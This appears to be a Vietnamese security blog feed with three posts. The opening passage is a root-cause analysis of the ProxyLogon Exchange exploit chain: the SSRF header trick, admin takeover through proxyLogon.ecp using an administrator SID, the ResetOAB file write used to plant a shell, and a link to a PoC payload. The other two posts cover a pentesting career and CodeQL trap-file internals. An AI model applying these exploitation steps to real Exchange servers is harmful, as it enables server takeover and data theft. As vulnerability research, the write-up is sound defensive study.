<pre><code><span class="hljs-attr">X-BEResource</span>=EXCHANGE2016**/owa/auth/logon.aspx?a=**~<span class="hljs-number">1942062522</span><span class="hljs-comment">;</span>
</code></pre><p>Sau khi được xử lý qua ProxyRequestHandler, url cuối cùng được forward tới Backend có dạng như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242599722/ciJ6xgUBE.png" alt /></p>
<p><em>(đã hiểu lý do tại sao các PoC lại có dấu “?” hoặc “#” ở cuối url chưa?)</em></p>
<p>Như vậy là đã có thể gửi request thoải mái tới server Backend mà không bị giới hạn gì cả,</p>
<p>Tuy nhiên chúng ta vẫn còn bỏ quên chưa nhắc tới về vấn đề quan trọng nữa, SSRF thành công mà request này lại còn được Authen với quyền của system nữa chứ! ( ͡° ͜ʖ ͡°).</p>
<p>Việc quyết định request qua proxy có cần authenticate hay không được quyết định tại <em>ProxyRequestHandler.PrepareServerRequest():</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242601228/MgJBWMYjm.png" alt /></p>
<p>Với trường hợp các request được xử lý bởi class BEResourceRequestHandler, luồng chương trình sẽ thực thi vào nhánh else cuối cùng, nghĩa là cho phép Authenticated.</p>
<p>Chính điều đó đã làm cho lỗ hổng SSRF này trở nên đặc biệt hơn, M$ đã sửa sai bằng cách thêm method <em>ShouldBackendRequestBeAnonymous() </em>vào class<em> </em>BEResourceRequestHandler để không cho phép các request này được gửi cred vào backend!</p>
<p>Nói thì hơi lan man, luồng đi của 1 request trên Exchange server có dạng như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242603045/haQCa8irK.png" alt /></p>
<p>Tiếp theo là tới lỗ hổng cho phép ghi file tùy ý <strong>CVE-2021–27065</strong></p>
<p>Nghiên cứu đống attack log của các bài phân tích (recommend bài của crowdstrike, ref phía dưới), có thể thấy Attacker sử dụng tính năng ResetOAB trong Exchange admin center để write file:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242605024/sX1LVSIw9.png" alt /></p>
<p>Để khai thác lỗ hổng này, đầu tiên attacker sẽ cần một tài khoản Admin mail exchange, sau đó sửa param External URL trong <em>Exchange admin &gt; Servers &gt; Virtual Directories</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242606834/Ti6HuJlqg5.png" alt /></p>
<p>Sau khi đã set tham số “External URL”, việc cuối cùng cần làm là sử dụng tính năng ResetOABVirtualDirectories và nhập path của file cần ghi:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242608440/2z1KpNqK3O.png" alt /></p>
<p>Ngay sau khi thực hiện, file đã được ghi vào đường dẫn đã định sẵn, với nội dung có thể điều khiển tùy ý</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242609927/JC6iGP4ZL.png" alt /></p>
<p>Như vậy là đã có thể write shell tùy ý, lỗ hổng này không có gì khó khăn lắm để phát hiện và thực thi.</p>
<p><strong>#Sự kết hợp hoàn hảo</strong></p>
<p>Hiện tại chúng ta đã có</p>
<ul>
<li><p>1 lỗ hổng SSRF với quyền system</p>
</li>
<li><p>1 lỗ hổng ghi file tùy ý (cần quyền admin mail)</p>
</li>
</ul>
<p>Có thể nhiều bạn cũng nghĩ ra, là sẽ kết hợp lỗ hổng SSRF này để truy cập vào entrypoint cho phép ghi shell tùy ý,</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242611459/F-GrmZLy1.plain" alt /></p>
<p>.</p>
<p>.</p>
<p>.</p>
<p>Tuy nhiên đời không như mơ,</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242612931/PE4nBlDpb.png" alt /></p>
<p>Không hiểu vì lý do gì mà khi sử dụng bug SSRF để vào vào các entrypoint của Exchange admin thì đều bị xử lý như 1 request Un-Authenticated!</p>
<p>Đoạn này nghĩ thì đơn giản, nhưng mình và đồng nghiệp bị stuck tại đây suốt mấy ngày liền, đành phải đi tìm thêm trợ giúp từ ông anh xã hội — người đã viết bài điều tra về case kia.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242614449/TADWq3MO1.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242615866/-LZEE642P.png" alt /></p>
<p>Sau một hồi trao đổi chiêu thức qua lại và xem log thì đúng là có vấn đề gì với entrypoint /ecp/proxyLogon.ecp thật!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242617412/362-S5iCR.png" alt /></p>
<p>Với mỗi lần attack, đều có một request tới “<em>/ecp/proxyLogon.ecp</em>”, và sau đó các request tới ECP đều được thực hiện với quyền của user “Administrator@mailbox”.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242618939/yTsRTzgIY.png" alt /></p>
<p>(Tình cờ một chút, cũng vào ngày hôm đó, anh cam có đăng thông báo về tên của lỗ hổng này là “proxylogon” với website proxylogon.com.)</p>
<p>Dựa vào web.config trong folder “<em>C:/Program Files/Microsoft/Exchange Server/V15/ClientAccess/ecp</em>”, có thể xác định được class “<em>Microsoft.Exchange.Management.ControlPanel.ProxyLogonHandler</em>” đang handle các request tới entrypoint <em>/ecp/proxyLogon.ecp</em>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242620495/U8YA4xyYy.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242622104/TpdJhS40z.png" alt /></p>
<p>Nội dung của class này khá đơn giản, có lẽ đây ko phải nơi xử lý chính.</p>
<p>Sau khi “<em>Ctrl + Shift + F</em>” một hồi, phát hiện ra được request được xử lý tại “Microsoft.Exchange.Management.ControlPanel .RbacSettings()“</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242623868/-n7DYWsTg.png" alt /></p>
<p>Đoạn xử lý này có thể hiểu đơn giản như thế này:</p>
<p><strong>B1:</strong> Server sẽ lấy phần body của request tạo thành SerializedAccessToken(), sau một hồi ngâm cứu các thứ thì mình đã tạo được phần body thỏa mãn có dạng như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242625711/kaJA06mZ-.png" alt /></p>
<p><strong>B2: </strong>Dựa vào serialized token vừa tạo được, server tiếp tục dùng nó để tạo thành định danh cho request hiện tại:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242627143/ASC-rCrOC.png" alt /></p>
<p>Và ngoài ra cần thỏa mãn thêm một số tham số đầu vào nữa, nếu thuận lợi thì server sẽ trả về cookie: <em>ASP.NET_SessionId</em> và <em>msExchEcpCanary</em>, dùng để xác thực cho user vừa request!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242628834/w8vxdw0uD.png" alt /></p>
<p>Có thể hiểu đơn giản hơn như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242630825/alCXGii5m.png" alt /></p>
<p>Đó chính là thứ đặc biệt làm nên dấu ấn của chain attack “proxyLogon” này.</p>
<p>Do bị hạn chế bởi câu chữ nên có thể chưa bộc tả đc hết từng góc cạnh, từng cái hay của chain này.</p>
<p>Bạn đọc nên bắt tay vào debug lại để hiểu rõ hơn cái hay của nó!</p>
<p>.</p>
<p>.</p>
<p>Vậy là đã có được session id và canary, việc cần làm tiếp theo là thay vào request SSRF write file ban đầu để thực thi thôi ¯_(ツ)_/¯</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242632699/mlJ8i99N1.png" alt /></p>
<p>Tuy nhiên vẫn đề vẫn tiếp tục diễn ra:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242634324/Tvn3tnVhI.png" alt /></p>
<p>Với SID mình sử dụng để proxylogon - <em>S-1–5–21–1525789613–2932220202–353317642–3102, </em>đây là SID của một user bình thường, không có quyền gì với Exchange admin cả.</p>
<p>Sau khi quan sát một hồi, mình nhận ra là SID của admin với SID của người dùng thông thường không khác nhau nhiều lắm, chỉ duy nhất có phần ID cuối cùng là có sự khác biệt:</p>
<pre><code><span class="hljs-bullet">-</span> SID của user john: S-1–5–21–1525789613–2932220202–353317642–<span class="hljs-strong">**3102**</span>
<span class="hljs-bullet">-</span> SID của admin:     S-1-5-21-1525789613-2932220202-353317642-<span class="hljs-strong">**500**</span>
</code></pre><p>Như vậy hoàn toàn có thể sử dụng một SID bất kỳ trong hệ thống để tìm được tài khoản administrator và chiếm quyền qua proxylogon!</p>
<p>Với việc chiếm quyền administrator thành công thì việc write shell tiếp theo không còn là vấn đề gì nữa, do đó mình sẽ không nói thêm nữa về nó:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242635900/ezildka7G.png" alt /></p>
<p>.</p>
<p>.</p>
<p>Quay trở lại bên trên một chút, ta cần một SID hợp lệ của user bất kỳ trong hệ thống để leo quyền, vậy làm sao để lấy được SID này khi chỉ biết mỗi username?</p>
<p>Để giải quyết vấn đề này, cần phải sử dụng tới các entrypoint: /autodiscover/autodiscover.xml và /mapi/emsmdb</p>
<p>Tính năng tại entrypoint /mapi sẽ trả về SID khi xảy ra lỗi:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242637711/vPKwBcZBZ.png" alt /></p>
<p>Phần input body của request có thể lấy bằng cách sử dụng entrypoint /Autodiscover/autodiscover.xml:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242639370/HYxTeHgPw.png" alt /></p>
<p>Vậy là đã hoàn thành mảnh ghép cuối cùng cho chain RCE của proxylogon, tóm gọn lại trong một hình như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242641299/FxWMriG19.png" alt /></p>
<p>.</p>
<p>.</p>
<p>PoC video:</p>
<p>PoC payload:</p>
<p><a target="_blank" href="https://gist.github.com/testanull/fabd8eeb46f120c4b15f8793617ca7d1">https://gist.github.com/testanull/fabd8eeb46f120c4b15f8793617ca7d1</a></p>
<p>Trong quá trình debug mới phát hiện ra quá nhiều thứ tinh túy/hay ho tạo nên chain attack này. Bạn đọc nên bắt tay vào làm và debug trực tiếp để thấy cái hay trong đó!</p>
<p>Có thể vì lý do câu chữ nên không thể mô tả lại được hết sự tinh túy/sự trùng hợp may mắn/sự kết hợp hoàn hảo của các mảnh ghép nhỏ để tạo nên chain attack tuyệt vời như vậy!</p>
<p>Respect to “anh Cam” and DevCore!</p>
<p>Cảm ơn đồng nghiệp &amp; người anh xã hội đã giúp mình trong quá trình nghiên cứu!</p>
<p>Cảm ơn các bạn đã đón đọc,</p>
<p><strong>Jang of VNPT ISC</strong></p>
<p>Ref:</p>
<ul>
<li><p><a target="_blank" href="https://github.com/microsoft/CSS-Exchange/issues/102">https://github.com/microsoft/CSS-Exchange/issues/102</a></p>
</li>
<li><p><a target="_blank" href="https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits/">https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits/</a></p>
</li>
<li><p><a target="_blank" href="https://gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html">https://gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html</a></p>
</li>
<li><p><a target="_blank" href="https://blog.qualys.com/vulnerabilities-research/2021/03/03/microsoft-exchange-server-zero-days-automatically-discover-prioritize-and-remediate-using-qualys-vmdr">https://blog.qualys.com/vulnerabilities-research/2021/03/03/microsoft-exchange-server-zero-days-automatically-discover-prioritize-and-remediate-using-qualys-vmdr</a></p>
</li>
<li><p><a target="_blank" href="https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/">https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Làm An toàn thông tin là làm gì? (nghề kiểm thử xâm nhập — pentest)]]></title><description><![CDATA[Trong suốt quãng thời gian học đại học tới tận thời điểm hiện tại đã đi làm, hầu như mọi người ở quê đều không có ai biết mình đang học và làm gì ở ngoài Hà Nội.
Không phải vì gia đình không quan tâm, mà là ngành ATTT ở VN hiện tại còn khá là lạ lẫm ...]]></description><link>https://testanull.com/lam-an-toan-thong-tin-la-lam-gi-nghe-kiem-thu-xam-nhap-pentest-bb2fce80488a</link><guid isPermaLink="true">https://testanull.com/lam-an-toan-thong-tin-la-lam-gi-nghe-kiem-thu-xam-nhap-pentest-bb2fce80488a</guid><dc:creator><![CDATA[Jang]]></dc:creator><pubDate>Sun, 21 Feb 2021 03:01:33 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242559984/bc9joqUlx.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Trong suốt quãng thời gian học đại học tới tận thời điểm hiện tại đã đi làm, hầu như mọi người ở quê đều không có ai biết mình đang học và làm gì ở ngoài Hà Nội.</p>
<p>Không phải vì gia đình không quan tâm, mà là ngành ATTT ở VN hiện tại còn khá là lạ lẫm đối với cộng đồng,</p>
<p>Nhắc tới CNTT thì có thể còn biết là mấy ô hay làm việc với máy tính, còn nhắc tới ATTT thì ít ai có thể biết được thực tế nghề này là làm gì.</p>
<p>Nếu search trên google thì có thể có vài trang blog nói về nghề ATTT, nhưng hầu hết 8/10 kết quả của page 1 google search đều lấy thông tin từ blog của a thaidn và xào nấu lên để thành content mới (ref: <a target="_blank" href="https://vnhacker.blogspot.com/2012/05/lam-toan-thong-tin-thi-hoc-gi.html">https://vnhacker.blogspot.com/2012/05/lam-toan-thong-tin-thi-hoc-gi.html</a>).</p>
<p>Những thông tin đã được đề cập trong blog của a Thái rất đúng, nhưng cần phải có ít nhất một vài hiểu biết nào đó về CNTT/ATTT thì mới có thể hiểu được nội dung trong đó.</p>
<p>Một số thuật ngữ như: <em>sản phẩm, kiểm định, lỗ hổng </em>… nó rất chung chung, và mang ý nghĩa bao hàm.</p>
<p>Thành ra khi mà những người không có khái niệm về chúng đọc sẽ không hiểu được hết và vẫn mơ hồ về ngành ATTT này,</p>
<p>Do vậy, mình viết bài này để cho những người chưa có khái niệm gì về <strong>Công nghệ thông tin</strong>/<strong>An toàn thông tin</strong> cũng có thể hiểu được dân bảo mật làm công việc gì và để sinh viên KMA không còn phải bối rối khi được hỏi:</p>
<p>“<strong><em>Cháu học trường mật mã rồi sau ra trường sẽ làm gì?</em></strong>”</p>
<p>.</p>
<p>.</p>
<p>Bài viết này cũng dựa trên một số nội dung chính trong blog của a thaidn, nhưng có một chút thực tế hơn là sẽ được liên hệ trực tiếp với công việc mà mình đang làm tại tổ chức: Trung tâm An toàn thông tin — VNPT IT.</p>
<p>Trung tâm mình được chia thành các phòng nhỏ để dễ dàng hơn trong việc xử lý công việc,</p>
<ol>
<li><strong>Phòng Kiểm thử xâm nhập</strong></li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242553875/-26l91vT8.jpeg" alt /></p>
<p>Hiện tại mình đang làm việc tại phòng Kiểm thử xâm nhập, TT ATTT — VNPT IT. Nếu đối sánh với blog post của a Thái, thì phòng mình sẽ được xếp vào phần “<strong><em>An toàn sản phẩm</em></strong>”.</p>
<ul>
<li><strong>Mục đích hoạt động của phòng</strong></li>
</ul>
<p>Theo quy trình phát triển sản phẩm tại VNPT, tất cả các sản phẩm từ nhỏ nhất như cái trang web chỉ có mỗi cái chữ “chào mừng” cho tới các “Mega Project” như hệ thống chính phủ điện tử đều phải qua tay của phòng Kiểm thử xâm nhập.</p>
<p>Mục đích là để kiểm tra và tìm ra các lỗ hổng, các nguy cơ tồn tại bên trong sản phẩm đó, giảm thiểu và đảm bảo cho sản phẩm được an toàn nhất có thể. Tránh nguy cơ một ngày đẹp trời nào đó, sản phẩm bị kẻ xấu hack và gây thất thoát dữ liệu và ảnh hưởng tới uy tín của tổ chức.</p>
<p>Hiểu đơn giản, chúng tôi là những hacker “lương thiện”, sẽ đi hack sản phẩm của nhà mình trước khi bị những hacker phe “phản diện” hack được.</p>
<p>Đây là lý do tại sao phòng mình lại có tên là “<em>Kiểm thử xâm nhập</em>” — “<em>Penetration Testing</em>”.</p>
<p>Công việc pentest này dựa rất nhiều vào mindset của người thực hiện, có thể cùng 1 lỗi mà người này không phát hiện nhưng người khác lại thấy, do đó việc đảm bảo an toàn cho các sản phẩm này cũng chỉ mang tính tương đối.</p>
<p>Việc này được giảm thiểu bằng cách cho các thành viên trong nhóm check chéo sản phẩm với nhau, sẽ tìm ra được những sai sót mà người kia để lại, từ đó làm cho số lượng lỗ hổng trong sản phẩm được giảm thiểu đáng kể!</p>
<p>Bên cạnh việc đảm bảo an toàn cho các sản phẩm nội bộ, hiện nay phòng mình cũng làm dịch vụ pentest cho khách, đảm bảo về tính an toàn bảo mật cho các trang web, app, hệ thống của khách hàng.</p>
<p>Ngoài công việc là pentest ra, còn có một nhóm nhỏ chuyên làm về việc nghiên cứu các lỗ hổng 0day, 1day của các nền tảng phổ biến, mà mình cũng đang hoạt động chính ở lĩnh vực này, gọi tạm là các Researcher.</p>
<p>Nếu như những Pentester là thợ săn, thì đội Researcher là những người đi mài rìu, chuẩn bị các vũ khí tốt nhất cho các Pentester.</p>
<p>Những mục tiêu mà nhóm mình nhắm tới đa phần đều là các đối tượng được nhiều người sử dụng, có liên quan tới công việc của nhóm pentest, ví dụ như: Weblogic, Liferay, … Nắm trong tay 1day/0day của các nền tảng này sẽ giúp cho đội Pentest chiếm được nhiều ưu thế hơn trong công việc.</p>
<ul>
<li><strong>Sinh viên cần biết những gì để làm Kiểm thử xâm nhập</strong></li>
</ul>
<p>Công việc kiểm thử xâm nhập khá là kén người, nó là nghề chọn người chứ ko phải người chọn nghề.</p>
<p>👉 Đầu tiên là sự chăm chỉ, thì đương nhiền là ngành nào/nghề nào cũng cần có rồi, ở đây là chăm chỉ ngày đêm học hỏi, cập nhật kiến thức/kỹ thuật mới.</p>
<p>Trong thời đại bùng nổ của thông tin hiện này, các kỹ thuật, lỗ hổng mới thường được cộng đổng chia sẻ và lan tỏa nhanh chóng qua các kênh như: Twitter, Telegram, …</p>
<p>Nhiều khi chỉ cần tắt máy có nửa ngày thôi mà đã bị tối cổ so với thời đại cả chục năm rồi, (¯_( ͡° ͜ʖ ͡°)_/¯ <em>còn 7 năm thì mình ko biết nha</em>).</p>
<p>👉 Tiếp tới là cái mindset, điều này tạo ra sự khác biệt của một pentester, đây là điều thứ hai được xem xét tới khi phòng mình xem xét tuyển dụng ngay từ vị trí thực tập sinh!</p>
<p>Công việc chính của Pentester là đi tìm những sai sót, những lỗ hổng trong sản phẩm, quote lại một câu đã được quote bởi người ae trong phòng mình:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242556016/IZQ7Bm9Oh.png" alt /></p>
<p>Ví dụ đơn giản như với chức năng mua hàng trong một trang web nào đó, theo tư duy của người dev thì sẽ cho nhập vào số lượng món hàng cần mua để thuận tiện hơn khi mua hàng với số lượng lớn. Người dùng thông thường cũng sẽ nhập vào một số lượng <strong>nguyên dương</strong> nào đó, đơn hàng sẽ trở thành <strong>69$ * 5 = 345$</strong> chẳng hạn!</p>
<p>Những người có tư duy bất thường sẽ nhập vào một số <strong>nguyên âm</strong>, từ đó giá trị đơn hàng sẽ trở thành<strong> 69$ * (-5) = -345$</strong>, không những không mất tiền mà còn được cộng thêm tiền 🤣.</p>
<p>Từ đó cho thấy mindset là thứ rất quan trọng để xác định được có phù hợp với nghiệp pentest được hay không,</p>
<p>Nếu bạn tự cảm thấy mình có tư duy khác người bình thường, có sở thích làm cho sản phẩm/thứ gì đó hoạt động không tuân theo thiết kế ban đầu thì xin chúc mừng, bạn có một tương lai rộng mở với nghiệp pentest! (còn nếu ko thì xin hãy thận trọng!).</p>
<p>👉Vấn đề cũng rất quan trọng cầ n nhắc tới đó là kỹ năng tự học, đây cũng là tiêu chí thứ ba được phòng mình xem xét mỗi khi phòng vấn.</p>
<p>Công việc pentest đã xuất hiện và trở nên thịnh hành trong khoảng thời gian độ 10 năm trở lại đây. Tuy nhiên, vẫn chưa có một giáo trình, lộ trình gì cụ thể để đào tạo từ thực tập sinh cho tới một pentester có thể làm được việc.</p>
<p>Mấy năm trước có nổi lên một số trung tâm gì gì đó, dán mác đào tạo các hacker/pentester chuyên nghiệp, chất lượng thì không biết thực hư ra sao nhưng hiện tại mình chưa gặp bạn nào từng học từ các trung tâm đó ra mà có tiếng tăm gì trong giới tuyển dụng cả (bên lề một chút: mình cũng đang đảm nhiệm công việc tuyển dụng và head hunting cho phòng pentest).</p>
<p>Cứ 10 người mình gặp trong ngành ATTT nói chung và trong nghề Pentest nói riêng thì có tới 11 người đều đi từ quá trình tọc mạch, táy máy hay nghịch ngợm công nghệ để đi được tới công việc như bây giờ. Tất cả đều có khả năng tự học, tự nâng cao kiến thức và chủ động trong công việc.</p>
<p>Ngay như với các bạn thực tập được tuyển vào phòng mình, khâu phỏng vấn ban đầu cũng khá là gắt gao.</p>
<p>Vừa rồi có đợt phỏng vấn 20 bạn svien năm cuối của trường K<em> vào thực tập thì cuối cùng chỉ nhận được đúng một bạn sinh viên vào thực tập, mà về sau hỏi lại thì bạn này lại học trường P</em> =))). (nghĩ cũng tội mà thôi cũng …)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242557634/fVA_X5or4.png" alt /></p>
<p>Phòng mình cũng không có một cái lộ trình nào gọi là cụ thể để đào tạo các bạn sinh viên thực tập cả, hầu như những người qua được phỏng vấn đều là các bạn có một cái base gì đó về ATTT/pentest sẵn rồi.</p>
<p>Các bạn thực tập sẽ được giao những task nhỏ để làm và theo dõi, sẽ được chấn chỉnh lại thêm trong suốt quá trình thực tập.</p>
<p>Theo mình, giao việc là cách tốt nhất để học được kiến thức mới.</p>
<p>Bao nhiêu kiến thức đã được dạy ở trường nhưng không có chỗ thực hành, đều trả lại với sách vở hết.</p>
<p>Khi đi làm, được va chạm thực tế thì cùng là một kiến thức đó nhưng nó không được đánh giá bằng điểm số, mà đôi khi còn phải trả giá bằng tiền mặt và uy tín. Không muốn nhớ cũng không được!</p>
<p>👉Vấn đề cuối cùng, cũng như là thứ quan trọng nhất mỗi khi tuyển dụng tại Trung tâm của mình, đó là đạo đức và lòng tin!</p>
<p>Điều đầu tiên được xem xét trước khi ứng viên được gọi tới phỏng vấn kín, đó là xem xét về mặt đạo đức, sự trung thực và trung thành của ứng viên với những tổ chức mà ứng viên đã tham gia trước đó.</p>
<p>Giả sử như trong vòng 6 tháng nhảy tới 3 cái công ty liền thì không ai dám tuyển dụng vào cả.</p>
<p>Hoặc như là sử dụng dữ liệu của công ty để phục vụ cho mục đích tư lợi, đem bán dữ liệu các thứ … Đây là những điều tối kỵ của một pentester!</p>
<p>Bởi trong thực tế, những hệ thống/sản phẩm mà pentester được giao cho đa số là được bên yêu cầu tự nguyện, có bao gồm rất nhiều thông tin nhạy cảm của tổ chức/người dùng trong đó. Trong quá trình pentest, hoàn toàn có thể lấy được hết các thông tin nhạy cảm này, việc sử dụng những thông tin đó như thế nào phụ thuộc hoàn toàn vào đạo đức/nhân cách của người pentest.</p>
<p>Nhiều khi những thông tin đó có thể trị giá lên tới hàng trăm triệu/hàng tỉ đồng, hoặc khiến cho một tổ chức nào đó sụp đổ chỉ với một mẩu nhỏ dữ liệu bị phát tán ra!</p>
<p>Tiếp tới cũng giống như về đạo đức, đó là về sự trung thành:</p>
<p>“<em>Không ai có thể làm tôi hai chủ: vì hoặc nó sẽ ghét người này, và yêu mến người kia, hoặc nó chuộng chủ này, và khinh chủ nọ.</em>”</p>
<p>.</p>
<p>.</p>
<p>Như vậy là mình đã nói qua về nội dung làm việc của những người làm kiểm thử xâm nhập nói riêng, trong ATTT được phân mảnh thành khá nhiều lĩnh vực nhỏ, trong bài viết sau mình sẽ nói thêm về chúng!</p>
<p>Cảm ơn các bạn đã theo dõi!</p>
<p><strong>Jang of VNPT ISC</strong></p>
]]></content:encoded></item><item><title><![CDATA[How does the Semmle Core works [Part 2]]]></title><description><![CDATA[Ở phần trước, chúng ta đang dừng lại ở việc tìm ra tiến trình xử lý chính của công đoạn Extractor, chung quy lại thì phần core của nó vẫn được xử lý bằng java, với main class com.semmle.extractor.java.JavaExtractor.

Tiến hành debug tại bước này để t...]]></description><link>https://testanull.com/how-does-the-semmle-core-works-part-2-75feed1bb390</link><guid isPermaLink="true">https://testanull.com/how-does-the-semmle-core-works-part-2-75feed1bb390</guid><dc:creator><![CDATA[Jang]]></dc:creator><pubDate>Wed, 13 Jan 2021 10:16:11 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242539671/RETR9bsPs.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Ở phần trước, chúng ta đang dừng lại ở việc tìm ra tiến trình xử lý chính của công đoạn Extractor, chung quy lại thì phần core của nó vẫn được xử lý bằng java, với main class com.semmle.extractor.java.JavaExtractor.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242500928/mlZXcfCkT.png" alt /></p>
<p>Tiến hành debug tại bước này để tìm hiểu cách hoạt động của nó,</p>
<p>Để dựng lại môi trường, cần phải copy các file yêu cầu trong folder: “<em>/log/ext/*</em>“ (có thể tìm thấy trong folder database sau khi chạy lệnh create xong):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242502396/eUycG-ff3.png" alt /></p>
<p>Cũng cần lưu ý dựng lại các biến môi trường, các biến này có prefix “<em>CODEQL_**”, “</em>SEMMLE<em><em>*” và “</em>ODASA</em>**”</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242503970/aB-sLOfrz.png" alt /></p>
<p>Sau khi xong xuôi, Debug config trong IntellIJ sẽ có dạng như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242505500/VCWxtiKHS.png" alt /></p>
<p><strong>#DEBUG</strong></p>
<p>Một lưu ý trước khi debug, cần phải xóa các folder log, src, trap trong folder database, vì Extractor sẽ kiểm tra tồn tại và bỏ qua nó.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242507082/tLUcGdrA9.png" alt /></p>
<p>Chạy thử <em>Extractor </em>với config vừa set, tại folder database có các file được tạo mới như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242508565/IewsOYnBE.png" alt /></p>
<p>Các bạn cũng có thể thấy rõ điểm khác biệt so với database cuối cùng được tạo, tại phần này đã xuất hiện thêm folder “<em>trap</em>”.</p>
<p>Và các file “<em>trap</em>” như trong document có mô tả được đặt trong folder này.</p>
<ul>
<li>Với quá trình build db thông thường, các file trap này sẽ được chuyển hóa thành dataset và xóa luôn ngay khi xử lý xong. Có thể thực hiện việc chuyển hóa dataset bằng câu lệnh “<strong><em>codeql dataset</em></strong>”:</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242509964/KlcWSCQDr.png" alt /></p>
<p>Folder trap có cấu trúc như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242511380/oVVhvhr96.png" alt /></p>
<ul>
<li>Folder <em>classes </em>bao gồm các file trap chứa các thông tin về các member của 1 class, ví dụ như “<em>field, methods, modifier …</em>” :</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242512786/7x_Us8DS-.png" alt /></p>
<p><em>//Cấu trúc của trap file sẽ được mô tả ngay phía dưới</em></p>
<ul>
<li>Folder bắt đầu với tên có dạng như path của mã nguồn (ở đây là D_\Coding\…), bao gồm các file trap chứa thông tin về các thành phần của 1 file mã nguồn, ví dụ như “<em>expression, method call, …</em>”</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242514268/k_LhRxdmj.png" alt /></p>
<p>Các trap file này đều đã được nén vào file .gz, hoàn toàn có thể giải nén và sử dụng 1 text editor nào đó để đọc nội dung của trap file,</p>
<p><strong>#Trap file</strong></p>
<p>Nội dung của 1 trap file có dạng như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242515794/W5wDyeCWW.png" alt /></p>
<p>Hoặc xinh đẹp hơn là như vầy:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242517351/Y6XlgnpB5.png" alt /></p>
<p>Các khai báo dạng:</p>
<p><code>#10016=@”class;TestClass”</code></p>
<p>Được gọi là khai báo nhãn, thường bắt đầu với ký tự “#”, về ngữ nghĩa, có thể coi nhãn như 1 id trong các hệ quản trị cơ sở dữ liệu.</p>
<p>Mỗi trap file có các khai báo nhãn độc lập, không chung với các nhãn được khai báo của trap file khác!</p>
<p>Xét thêm 1 ví dụ sau:</p>
<p><code>**#10034**=@”field;**{#10016}**;testInnerInnerClass”</code></p>
<p>Đây là một khai báo nhãn của <em>field</em>, có link tới nhãn <strong><em>#10016,</em></strong> nhãn này là nhãn đại diện cho class <em>TestClass</em>.</p>
<p>Tiếp sau đó, là dòng khai báo:</p>
<p><code>**fields**(**#10034**, ”testInnerInnerClass”, **#10035**, **#10016**, **#10034**)</code></p>
<p>Với các nhãn tương ứng được truyền vào: <strong>#10034</strong> (field), <strong>#10035</strong> (class inner), <strong>#10016</strong> (TestClass), <strong>#10034 </strong>(field).</p>
